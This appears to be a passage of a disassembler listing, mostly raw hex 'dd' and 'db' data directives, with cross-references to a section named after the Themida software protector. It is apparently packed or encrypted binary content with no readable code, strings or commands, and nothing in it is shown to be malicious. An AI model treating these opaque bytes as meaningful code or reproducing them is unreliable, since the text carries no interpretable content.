		dd 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F46EB9CAh, 3DFA60F7h
		dd 0A0F8FB61h, 4ECD3E39h, 0D075FD7Ah, 8C314DEFh, 0CEB57E7Ch
		dd 1A8935F1h, 0E93151EFh, 8E97577Ch, 43BE15B9h,	1DFF0285h
		dd 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch, 1DB61608h,	0A7890883h
		dd 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 667D17FBh,	0EAFCFB61h
		dd 60CF7D86h, 0E573E63Eh, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah
		dd 45314DE8h, 0ADFCBD7Ch, 916EB9CEh, 79F835F1h,	0E36EB4A6h
		dd 0B6D96F85h, 7FFDFB61h, 4801F3Ch, 5E75FD6Dh, 6BC17F79h
		dd 1A35FB61h, 0D03C2DE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h
		dd 0F8C17779h, 0ECF8FB61h, 296EB4C4h, 2F2B5989h, 0CB75FD72h
		dd 0A1C56F85h, 0AF6FB61h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah
		dd 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h
		dd 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h
		dd 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah
		dd 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh,	7867C92Ch
		dd 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah
		dd 162FFD7Ah, 0D03C1290h, 5DCF707Ch, 7973E63Eh,	71CCF50Fh
		dd 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 8C3145E7h,	0D3497D7Ch
		dd 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah
		dd 655D17FBh, 25F8FB61h, 0CD6EB9C2h, 5C7D80F1h,	0F275FD72h
		dd 0B0145989h, 0DC75F9B8h, 1ACD40F7h, 0EF46FB61h, 9775F5C3h
		dd 0AADF0E7Ah, 58F89DB9h, 0F46EB9C2h, 7874C2FBh, 0B000FC7Bh
		dd 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h,	0A1CD40F7h
		dd 0F3CDFB61h, 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h
		dd 0D3B078F7h, 0D08AFB61h, 2AE9CA8Bh, 0C7000000h, 2404h
		dd 0E80000h, 5D000000h,	4AA8ED81h, 448B061Bh, 85890424h
		dd 6143219h, 0B8h, 798D8D00h, 0FF06144Dh, 6754B8E1h, 11E80000h
		dd 45000000h, 868FE50h,	0BEDF923Fh, 0A7B98E06h,	13933055h
		dd 5B1CE280h, 0BCB96660h, 0D2BF0F7Dh, 0D7C38161h, 0F00005Ch
		dd 11BED2B7h, 81000017h
		db 0D9h
byte_5BD6DD	db 46h,	8, 14h		; DATA XREF: Themida_:0054C0E0o
		dd 5833FF0Dh, 43EA8166h, 7EE881B6h, 81660E81h, 84A754C0h
		dd 7E808h, 90C60000h, 84E4B291h, 0C28156DBh, 201087BAh
		dd 0C0815959h, 75407DC8h, 500DF680h, 66038FF9h,	0EB81D18Bh
		dd 7DE03F20h, 1CABF281h, 0C3814683h, 7DE03F1Ch,	96BF6660h
		dd 61DE8B32h, 1EE81h, 850F0000h, 0FFFFFFA1h, 84E3CF81h
		dd 2EE90971h, 0B000000h, 21EEEFh, 0Ah dup(0)
		dd 5DFE900h, 2BB10000h,	6E654294h, 0B220FD4Fh, 0FBDAB709h
		dd 488F6CBEh, 0CEEA2375h, 76C8F5E2h, 2F813899h,	0E7398652h
		dd 9DEFCC0Ah, 1D030991h, 31580D33h, 0C412CF36h,	0E1E7AFF7h
		dd 51F1E7FBh, 0E7A1878Dh, 8DB551F1h
		db 0C7h, 9Fh, 70h
byte_5BD7C3	db 6			; DATA XREF: Themida_:00549544o
		dd 4920DEF9h, 31919ACFh, 64317911h, 0FA004871h,	51F2B714h
		dd 0C1D10028h, 0C314F2E4h, 5EF64EFAh, 0D531A5B2h, 0B70FBB02h
		dd 6D66731Fh, 0B30C7691h, 52EA6FBAh, 8ECC30A6h,	31A66076h
		dd 25983F8Ch, 41892179h, 2A596274h, 749B3D1Ah, 0F22F886Eh
		dd 2E141A51h, 4251F230h, 942C541Ah, 9C736542h, 0F22FB096h
		dd 49CC451h, 33864B58h,	0F2903287h, 656C9E3Ah, 8D6ABC54h
		dd 80C67249h, 51F22F9Dh, 4E450519h, 0FEEDAA17h,	6DE7h
		dd 0C412FE00h, 1FE7AFF7h, 0F1E83319h, 991F4751h, 51F1E7B3h
		dd 6709FC7h, 0F1E7DCC0h, 4465A51h, 0EDF1D68Fh, 128FEh
		dd 123F0000h, 4350FCC1h, 79812D90h, 0BD016CA2h,	0E228AC59h
		dd 4AB02D1h, 6A75A4E4h,	2CA24E6Bh, 61728AC8h, 0AA1219Dh
		dd 0EA42EECBh, 88981893h, 0DAE0A8F0h, 51F22EF4h, 11AC2B08h
		dd 46750D65h, 3E7D5936h, 0C51233ECh, 943F4CF8h,	0A4AA6374h
		dd 51F1E7BEh, 6612AAD2h, 0A615C10Eh, 5E0AA2FAh,	0CA07D4ECh
		dd 8936A2EFh, 45685DDh,	9429AE46h, 0F3A6754Ch, 59EEDB3Bh
		dd 6B421A2Ah, 0C35EDF7Fh, 590BA018h, 0C139449Bh, 874F5A89h
		dd 577B8834h, 834F1C64h, 189F0938h, 0CEA554F6h,	375C0ACh
		dd 26E9D00h, 0FEED1073h, 66ABh,	0C512C200h, 933F4CF8h
		dd 0B15D6073h, 9F15C159h, 0F2E51F3Bh, 0E82F151Bh, 1B4351F1h
		dd 8C593183h, 70C87445h, 6CA13641h, 0F1E88066h,	0D46C9451h
		dd 0FFBA1B28h, 0E8AACC53h, 0EDEF82F3h, 2E34FCFEh, 51F1F248h
		dd 9F05345Ch, 58h, 894A17B6h, 0DDFA0534h, 0B12734E0h, 962E620Eh
		dd 7FAE0DC9h, 0D76D2Dh,	17B26BBDh, 832F8C4Ah, 0E2F1FC2Bh
		dd 5A272FDBh, 7D94407Dh, 9995B84Ch, 507F1784h, 0F24C290Ch
		dd 0F191A551h, 5A657340h, 0BB2756AEh, 0FEED8DAAh, 0E6ECB4h
		dd 1451F258h, 157BDECh,	6E000000h, 33884A17h, 0E2D9F904h
		dd 0EAD2936h, 0FE23EFC6h, 0D8FF48C2h, 94EA3FA9h, 0FBBFF5CCh
		dd 6FA63332h, 0F26503E9h, 0A2EF1751h, 85A8936h,	0E7EAB74Ah
		dd 81CE26D2h, 2E396857h, 0E9C517A4h, 858BD37Bh,	57E57F6Eh
		dd 20060CE4h, 34580680h, 0C0C8740Ch, 800CF2F8h,	39205806h
		dd 3A078B6Ah, 0B5029AECh, 616C9B22h, 17F44675h,	0E7B4FCBFh
		dd 349ECDF0h, 6A30AEEh,	7C3F9358h, 0DCC2C8D0h, 0F05806A2h
		dd 5F5A7BC8h, 0B9D93DB3h, 0A2E0C438h, 1D6F4C8Ah, 79259640h
		dd 9516A6Ch, 7420993Ch,	1183ED1Ch, 7F57EDADh, 3B12EA3Ch
		dd 0B5772AF6h, 50BCEB5Bh, 0F8D95B15h, 1B4E9h, 0C414E100h
		dd 0C8F74FFBh, 3AA513E1h, 1FB66BCFh, 3F96EE9Ah,	206D1FD7h
		dd 15905B6h, 53592169h,	51F2D06Dh, 242A5981h, 0C5488F5Ch
		dd 0F2CFD9BFh, 2DC5ED51h, 0CFF9DFE5h, 0E50D51F2h, 0F53B72B6h
		dd 0C9F157E5h, 77D1AA81h, 70F93032h, 0DE0DB023h, 4C6F6774h
		dd 2B91DFAh, 2E8D4956h,	0EEAC1082h, 0E93B8056h,	5D434911h
		dd 715807B0h, 0B7AE1A49h, 47F8D829h, 87h, 0CC40175Eh, 4C1D95B4h
		dd 0ED5A6493h, 8AA98F95h, 353B51F2h, 51F28B4Fh,	4D753B63h
		dd 0A0966DB5h, 3C558105h, 383E4473h, 0D1F2C372h, 6A721E46h
		dd 5D988C93h, 80AF2611h, 0F2E1563Ch, 94B6DAD1h,	0FD8A8E65h
		dd 8AF5EA57h, 89E4515Bh, 8ED66E4Dh, 0E3DAF9C6h,	13A82A37h
		dd 48770F67h, 0F27C3E04h, 0BBB99051h, 49163688h, 0AFD75B8Ah
		dd 0C03C9A67h, 0FB3695ADh, 579F374Ah, 0F2016B51h, 28577F51h
		dd 0B73A18h, 13910000h,	299244A5h, 2CC4F5DCh, 0FDC017E4h
		dd 0C4CAF951h, 18A32FFCh, 6BA79EC1h, 1443E6A5h,	0E54A15D0h
		dd 0F1E6C357h, 30C820CCh, 23AF7C84h, 785E6998h,	4C19F143h
		dd 7B883485h, 5EB6625Dh, 4A8C97C6h, 0F0BDC571h,	1128D4E5h
		dd 5B27A0FAh, 0B2E179DEh, 6268D6Eh, 4505E958h, 429427AFh
		dd 48F866h, 0FE909CFAh,	1EB3905Dh, 0F3BB039Bh, 217107EDh
		dd 0AD93995Eh, 0C15E2170h, 7CABD399h, 2BD10512h, 0DD128B33h
		dd 43CE0E7Fh, 0BFC17BD2h, 8E9B47DFh, 0BFCC7845h, 0C5F9A518h
		dd 0AB40A1E1h, 6C4D8855h, 0BC1B68C0h, 0C280D201h, 0C911BD2Bh
		dd 19B365C3h, 0DF315964h, 0F9A51326h, 1B21E9B1h, 51F1E835h
		dd 0AEF22149h, 57EA5250h, 63701C44h, 19F64873h,	0C52FEBDh
		dd 7FA2F25Eh, 4DFC9E02h, 36655680h, 2151AB2Bh, 59640088h
		dd 0C06C4F87h, 0E638D068h, 0A6EECD09h, 0EFF2D8DEh, 1F068002h
		dd 0A0258EDCh, 79A84003h, 0E6D3020Fh, 743E53Ah,	80D2E9EDh
		dd 0C2FDDBA8h, 848FBE16h, 0B5BD6952h, 23CFF0E8h, 0C62F151Bh
		dd 1B438003h, 3485483h,	9F000000h, 0CA127DE4h, 9A3C49F5h
		dd 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh,	0B61F2CD8h
		dd 884A5703h, 597A8733h, 5733B864h, 0C781E789h,	4, 4EF81h
		dd 3C870000h, 34895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h
		dd 83242C89h, 1C8904ECh, 0DE685224h, 5A13C731h,	484EE281h
		dd 0CA812850h, 8AF4101h, 0AD0BB53h, 0DA310EF4h,	5AD5895Bh
		dd 241C8B54h, 4C481h, 0EC830000h, 242C8904h, 0FF08438Fh
		dd 835B2434h, 2C8B04C4h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 0F92CA6E9h, 0E8A395FFh, 50F8B806h, 0C503061Bh
		dd 0C80AE0FFh, 988F597Fh, 0C1474D19h, 903E6AFBh, 0DCEF1829h
		dd 72D44FF9h, 30051ECBh, 486009A2h, 6D340D38h, 43161D11h
		dd 0D56E373Bh, 3DFE635Fh, 0DFE9222Bh, 0CE000000h, 825FB10Eh
		dd 3D1A6C51h, 0F7D42695h, 0AC89DBDEh, 740922Bh,	0E5D8FFB1h
		dd 9E1BB693h, 56696F4Ch, 0CAF2704h, 2026AEBAh, 580D393Ah
		dd 12EC534Eh, 0DB4AF6C3h, 8E2CFED5h, 89EC17B5h,	83864F5Ah
		dd 0F25A977Dh, 2C83AB51h, 0CACC9E6Bh, 80D26A27h, 0F1EB896Ah
		dd 81F1D351h, 0B37B5033h, 3461C7ADh, 84B3DB52h,	759F9E40h
		dd 81A66A50h, 2CF450B8h, 0B8814026h, 5B775452h,	0BE71C860h
		dd 2AE82B02h, 1ECDD908h, 5000000h, 0B151373Dh, 3D6552B8h
		dd 6E4495E6h, 0F7260B7Ah, 494F1710h, 51F1E863h,	0E7204F77h
		dd 0F5CA1280h, 219A3C49h, 4F706875h, 7E3B96A3h,	0AB12C5D2h
		dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 0BC6833B8h
		dd 0E9061B51h, 0FFF92B8Fh, 0A21B1AE5h, 0EE0E933Dh, 8D8DD394h
		dd 61B536Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0EDC35242h, 86672CAAh, 0EBC944DBh, 298D8938h, 60061432h
		dd 6800Fh, 0F6810000h, 74E442D8h, 1D718D01h, 0C7610614h
		dd 14064D85h, 6ACC06h, 68B0F00h, 8B000000h, 140AE5B5h
		dd 7185C706h, 61426h, 0E8000000h, 0Eh, 0E7EDD2A4h, 8CBE252Eh
		dd 53100136h, 0BF66D05Ah, 0FF5AD921h, 143099B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0DB81BC6Ah, 678DF9BBh, 6E9h,	0C3EA2D00h, 0FF79A163h
		dd 14236195h, 0DE906h, 0E9DC0000h, 0BD8393A0h, 0E1A7559Ch
		dd 6AB7B97Eh, 6995FF00h, 8B061411h, 9F3BEBC0h, 3EED1340h
		dd 4BD80435h, 0ACDC0DBFh, 34C35560h, 2FE4FB4Bh,	1D438B54h
		dd 0B3AA3A1Eh, 0BED8E139h, 925C1DC9h, 7B541F0Eh, 84084749h
		dd 0DE4CBFh, 0AB2746B0h, 3287D441h, 8D8DC09Ch, 61B547Bh
		dd 2C559D8Bh, 8D890614h, 6143229h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0B7C35040h,	0B52DFAEDh, 9F9C7F83h
		dd 6830F63h
		dd 89000000h, 14318D8Dh, 8166FC06h, 0C76715EEh,	14064D85h
		dd 6FCC06h, 0CEF28100h,	0C77BDB9Bh, 14267185h, 6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 3C326768h, 11FB06A5h, 29D8D09h, 0B5FF0614h, 6140D49h
		dd 236195FFh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 604EB4C3h, 612EEBE7h, 8D016075h
		dd 6140665h, 17199D29h,	6A610614h, 6995FF00h
		db 11h,	14h
word_5BE05A	dw 8B06h		; DATA XREF: Themida_:00548E7Co
					; Themida_:0054B664o
		dd 3E49EBC0h, 0FABF82E9h, 0BFB665E7h, 6A01508Eh, 2F68ABF0h
		dd 0A8A40F88h, 7CC86599h, 0BC08EFE2h, 0E74DD18Ah, 3D36E0CEh
		dd 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h,	992E7378h
		dd 492FCFF3h, 0AC3008C3h, 0FC88B654h, 81CDB06Dh, 16EBh
		dd 4 dup(0)
		dd 1010000h, 404h, 6A061Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 446B73C3h, 0E2912059h
		dd 0FAEE932h, 889h, 2890F00h, 50000000h, 9995295Bh, 50061413h
		dd 0BE8h, 518E6E00h, 1D708E9Fh,	8A34743Dh, 0B0595260h
		dd 89596138h, 8E0F2404h, 5, 0E8C0C8BFh,	6A006A74h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0B7C0C350h, 0FA34241Ch, 0BD89658Eh, 614106Dh, 0D71B589h
		dd 6A0614h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 17h,	0C3C35040h, 8D5C5E0Eh, 1B563785h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 66377709h, 90FEEEBFh, 5800Fh, 46BA0000h, 507C5470h
		dd 0A991ADBAh, 6A904Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 787F3FC3h, 8FBB1B19h, 6A21556Eh
		dd 9840F00h, 0F000000h,	382h, 17CB8000h, 0D78B006Ah, 1A7195FFh
		dd 0BD2B0614h, 6142195h, 648E9h, 14E900h, 9D50000h, 0AA3CE9B0h
		dd 24D5B0C5h, 0A1CE56CFh, 669F797Eh, 0E8A570h, 5D000000h
		dd 563CED81h, 9509061Bh, 6142F05h, 8559D33h, 6A0614h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 8B827DC3h, 0D180BAE1h, 46AC68C9h, 7E9A0BAh, 0BA000000h
		dd 5FF4B5A4h, 4813F92h,	45C8F424h, 398D8B5Fh, 5706142Dh
		dd 0CCFABB66h, 6995FF5Bh, 9061411h, 142C758Dh, 0CBB58D06h
		dd 6A061B54h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0D320C351h, 3BE387BBh,	0D1744846h
		dd 13E9h, 0A4625800h, 88E1491Dh, 0E6B1B0A1h, 25238E10h
		dd 0D0636451h, 0C7D98B66h, 67655206h, 55006A6Dh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 5172DD1Dh, 60E3731Bh, 0FE8h,	0B1746800h, 325BC362h
		dd 0B69F8908h, 1A5BAB71h, 784CBB66h, 46C7615Fh,	636E6F04h
		dd 0BF0F606Ch, 0F5858BF9h, 6106140Fh, 610846C7h, 1007373h
		dd 1423B5B5h, 8B006A06h, 141009BDh, 0CB858D06h,	6A061B54h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0CDD9C356h, 0ECC59E90h, 7224BB50h, 489610Eh
		dd 8DB50124h, 0E9061434h, 0Ch, 29FF1F5Fh, 0A638574Fh, 0C3B5112h
		dd 0E4D95FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0EE8A0C3h, 27000000h, 9FAE40A4h
		dd 36F1D905h, 0FFE7A49Ch, 6D38021h, 0A1B5895Fh,	6606141Ah
		dd 0C00BF98Bh, 41840Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0DC6D70C3h, 0EC69220Ch
		dd 60DF8B60h, 5BA5EB81h, 0BD8B0FE4h, 61416EDh, 0D9816161h
		dd 5B0DF33Ch, 402E9h, 68DF8B00h, 0B304E217h, 74B55250h
		dd 0D68B310Fh, 481585Ah, 0FB1F1524h, 13E94Ch, 7AB70000h
		dd 81C01BF0h, 17F02684h, 0ADB00DCBh, 0C57A9A75h, 6995FF40h
		dd 8B061411h, 141D599Dh, 0CBB58D06h, 6A061B54h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0F8ACC352h, 0BC5EEEh, 0C70B76EEh, 34383106h,	55006A36h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 4243BA0Bh, 0D598C63Ah, 0F28166FCh, 8B668FCFh, 0FE8C8h
		dd 9E300000h, 632BB765h, 6725089h, 0BD957ACAh, 128E0F4Eh
		dd 0E8000000h, 0Ch, 0FD99D02Dh,	0A20ADCC3h, 27551C16h
		dd 46C75B5Fh, 342D3704h, 8B27B531h, 142F159Dh, 846C706h
		dd 0
		dd 19E1958Bh, 6A0614h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0E3C35343h, 858D674Ah, 61B54CBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CAC35545h, 0E5CB4FEDh
		dd 26ADB9C3h, 66505E6Fh, 489F98Bh, 4D95FF24h, 6A06140Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8B00C357h, 0FC00BFAh, 3384h, 0CF8B6600h
		dd 29AE9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1B04h, 0C3504000h, 5A7A41D9h, 0D92EB351h, 0D5858957h
		dd 5A061434h, 4E8h, 12C00h, 880F6000h, 1Ah, 14E8h, 0F12DFE00h
		dd 7ED09C22h, 7AA2061Ah, 59307B3Dh, 0D5DDBE84h,	0D4B15BEFh
		dd 5B95061h, 8B2A680Ah,	0E8042444h, 7, 255AF681h, 50190822h
		dd 0F5B5652h, 830F31h, 5A000000h, 8B5A58h, 89D88B66h, 66042444h
		dd 0E958D88Bh, 9, 7455D39Ah, 27F3F16Ch,	6995FF0Eh, 6A061411h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 6B21C352h, 0DDB2A0C2h, 758173A1h,	23D9958Bh
		dd 0B70F0614h, 0CBB58DD6h, 6A061B54h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 1F66C356h
		dd 0CEADEB7Ch, 0F59BDAEh, 68Bh,	11BD2300h, 0C7061426h
		dd 6C694606h, 55006A65h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0A498BF70h, 0F9D0793h, 68Ch, 95858900h
		dd 0C7061429h, 6F6D0446h, 9501636Eh, 6141369h, 6C0846C7h
		dd 6A737361h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0A947C356h, 31DE8730h,	140649B5h
		dd 0C46C706h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 76C35242h
		dd 415F3919h, 0FD950Bh,	66510614h, 3E1FD281h, 6A006A5Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 9B5AC356h, 794527D0h, 89786D54h, 1421F985h
		dd 0CB858D06h, 6A061B54h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0E8B2C356h,	13h, 0C2BC00FAh
		dd 0DF979DFBh, 0E5CE52EDh, 51A59968h, 8B625DE4h, 1422718Dh
		dd 66505A06h, 89695DBAh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0DE96FC3h, 0CB000000h
		dd 7CFDC8ECh, 0B2FA50C1h, 0F7B5399Fh, 0FF18E380h, 140E4D95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0F9A3B4EAh, 0F1C143Bh, 0C00BFEB7h, 12840Fh
		dd 23530000h, 142F0D95h, 10E95F06h, 0BF000000h,	443C0BEDh
		dd 0FFFA19E9h, 0A9C781FFh, 8D36ED11h, 1470F0B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 3BD7AAE6h, 6B7FA85Ah, 0B8h, 0C58D0900h, 0FF06142Ah
		dd 0A5BD8BE6h, 89061416h, 1421D18Dh, 0E8C18B06h, 10h, 4ACC41F3h
		dd 0D33E63AAh, 0C4E4F2B9h, 0B66D5272h, 0CA9B589h, 895F0614h
		dd 140CD9B5h, 0B5C78106h, 68000072h, 1C80h, 19499589h
		dd 295E0614h, 1416D58Dh, 0E8078B06h, 0Fh, 51354D7Fh, 9496BC94h
		dd 0F64BD5Bh, 0FF72340h, 386h, 13DE8000h, 0ABE8815Bh, 662422FEh
		dd 0A214D281h, 0C69CE881h, 8D890662h, 6140FEDh,	860BE881h
		dd 789495Eh, 0EF81E88Ah, 114642D6h, 34A19501h, 0C7810614h
		dd 114642D2h, 880Fh, 0F4E0000h,	1285h, 1FE900h,	982F0000h
		dd 0C07830F4h, 61D00504h, 810D3987h, 9B1408E9h,	0FF83E964h
		dd 8D8EFFFFh, 0D96B3666h, 29E9AFh, 0E49D0000h, 5DCFh, 8	dup(0)
		dd 0E9000000h, 553h, 0FC4E716Bh, 0B709B41Fh, 71C3F8DAh
		dd 26784194h, 0DD2F8E49h, 3B9C14A4h, 7E533082h,	0CC0CE93Bh
		dd 12C4A1F3h, 0C34B57A9h, 0D44D7BDh, 89F0EB58h,	0AFF7C412h
		dd 99C8F5E2h, 8B5222Fh,	0BEFDD9B6h, 0EAD10512h,	66A2313Eh
		dd 4AA24E6Bh, 0DEF906B2h, 0AB2633DFh, 7E55620Eh, 0ABE7CB3Fh
		dd 6E2C9046h, 69BB00D6h, 0A912C491h, 6B76A5FDh,	2800526Dh
		dd 0E8745A60h, 0D50151F1h, 0B0F820E6h, 0F1E7C4AAh, 81B0D851h
		dd 0B15D6276h, 0E08C2DA4h, 93A9E98Bh, 0DEC4CA45h, 6151F1E7h
		dd 0C342E467h, 71995F8Bh, 2CAA87D9h, 4BF3D9DFh,	0DF0751F2h
		dd 72559B47h, 0EE51F24Ch, 4223B8DAh, 0BCFEED8Eh, 5Ah, 884A17D3h
		dd 0CFECE633h, 919CCB23h, 84CA7645h, 51F1E7A0h,	53480A1Eh
		dd 0FEEDF212h, 1ECh, 0C1120300h, 0EFE7B4FCh, 26339DCCh
		dd 576410ADh, 198F3B7Eh, 976495B5h, 77CF7B3Eh, 27963D48h
		dd 0C64017DFh, 0CC6D9F32h, 1307ED73h, 0F31B51F2h, 0FFD7B4C4h
		dd 54ECCF07h, 0C5124902h, 943F4CF8h, 0F30B7D29h, 9108501Ch
		dd 0F1209D80h, 774EE39Fh, 0D2CD8614h, 141F4E5Dh, 0D0A8FAC3h
		dd 0A137CF03h, 821A721Eh, 2D8E4853h, 0FAA27981h, 874D4745h
		dd 0AB188CE3h, 9E3AFF9h, 303CFDAh, 0A52EAD5h, 0E5E5F33h
		dd 0D504919Ch, 80C2E46Bh, 0EDA16A0Bh, 80B4FEh, 0DFAC0000h
		dd 0AE95C4F7h, 4CF8C512h, 0D4AB6D44h, 0B65F7A36h, 65567C87h
		dd 3485501Dh, 0C1259B05h, 9C6C6B81h, 7ED6823Bh,	0C2826327h
		dd 781047B0h, 2F8E4926h, 5A5F7683h, 8837A1AEh, 0B306CFDCh
		dd 0E4D9FA07h, 2988CA2Eh, 89024062h, 0FEEDCCECh, 4B32h
		dd 0C5124900h, 993F4CF8h, 62467A26h, 0F2CB0C20h, 0FA00C8A0h
		dd 51F1E814h, 0C18736A1h, 0E7FDE3E9h, 0E91151F1h, 56D7FA51h
		dd 0A90F3914h, 0C112937Ah, 270A50FCh, 0A351F1E8h, 713EF38Fh
		dd 51A95564h, 0F1AFB622h, 14FFEEDh, 66000000h, 4FFBC012h
		dd 7B279442h, 0CF03D026h, 0B9E840ECh, 0C1112B67h, 932B9245h
		dd 455F744Bh, 2484BC90h, 9B09E5F5h, 8EA5ABF3h, 457E55Eh
		dd 10C794DCh, 32DEDFF8h, 899642DAh, 6FC7734Ah, 313EA8D7h
		dd 0E7C416A5h, 0BC84CCEFh, 65ED0B6h, 45745D58h,	0CD0A577Fh
		dd 0BDEC44F0h, 5F290D53h, 0A78B5806h, 888E56EBh, 58065EA2h
		dd 96418EB6h, 0E9EDF827h, 45B38AD2h, 0E8F5249Bh, 0FED6E615h
		dd 6A16A531h, 0FED8E312h, 2AA875BDh, 195948D2h,	0E57D7863h
		dd 3E94E139h, 0DCE44E7Dh, 5F280E14h, 6CAB5806h,	3AB3CD90h
		dd 103F672Dh, 3EEAD105h, 0E6ECB4CCh, 5806E200h,	369FEC14h
		dd 507FD783h, 0E0AD5CFEh, 8C97C6F7h, 0E11F714Ah, 0F8D8F784h
		dd 1157Ah, 0A5139100h, 0E85D4349h, 497151F1h, 2C6369B1h
		dd 0E257E50Eh, 0C99B72BAh, 1CA132F7h, 0F2315EC5h, 8A4C59C3h
		dd 0D402DF31h, 5C333BE7h, 1197D7D6h, 55608F76h,	1C8E3A81h
		dd 74629AB8h, 0AEB7F547h, 50F8D944h, 40h, 0F8A61367h, 0B61BE8B0h
		dd 0E8674D53h, 537B51F1h, 88B70FBBh, 0F1E87E44h, 7E2A52D1h
		dd 0F1E85238h, 90B2D6D1h, 0FA42F05Dh, 0F1E82EF4h, 88DA0251h
		dd 99AAh, 0C315E200h, 9629AFFCh, 7C6392EAh, 0B1F9A513h
		dd 20CCEDE4h, 50FCBF13h, 2B3160F8h, 0E5116A25h,	9D3B1857h
		dd 861E7622h, 8A70763Eh, 9E5805F0h, 0F0DAC0C6h,	0C6EE5805h
		dd 8895FF2Eh, 3E1B6D4Eh, 57646E98h, 34FC53ABh, 128DB571h
		dd 99DF8B23h, 5806D6B8h, 0DA123014h, 956DBFFCh,	83B20BC8h
		dd 1B630B79h, 0FF33F815h, 96426A5Dh, 0AA11C18Eh, 6C77A6FEh
		dd 3209516Ah, 78525991h, 4FB9E800h, 33A58FAh, 1BA43495h
		dd 18353B83h, 8A641B25h, 6B381062h, 51A95568h, 0A5133B22h
		dd 8EABB1F9h, 57EA44h, 0B71F2CD8h, 45684E54h, 547C580Dh
		dd 498D6ABCh, 3E80C672h, 1A13C0CAh, 766094B6h, 0A530FD45h
		dd 0E1106814h, 0D222F9D1h, 709D2F54h, 0DC9D403h, 0E0F502AEh
		dd 0FCC991D9h, 0E23AE6D7h, 0E157765Ch, 0ACB28AB3h, 0B3E156C6h
		dd 0EB1AB2DAh, 0C88A2C81h, 0C719A234h, 87CFECEAh, 0A9A438B0h
		dd 5F65BD84h, 0F1273259h, 52BCEB83h, 0C44h, 40179B00h
		dd 0BF9411F3h, 0C7002F76h, 0F5CA1260h, 219A3C49h, 4F706875h
		dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch,	33884A57h
		dd 64597A87h, 895233B8h, 4C281E2h, 83000000h, 148704EAh
		dd 24248B24h, 1B3F68h, 243C8900h, 81E38953h, 4C3h, 4EB8300h
		dd 5C241C87h, 52242C89h, 992677BAh, 81DAF726h, 1C3490F2h
		dd 0C0F28141h, 813AA243h, 0BD5180EAh, 3481529Ch, 6B1DB624h
		dd 0F7815F09h, 96B1DB6h, 4EC815Ah, 89000000h, 4832424h
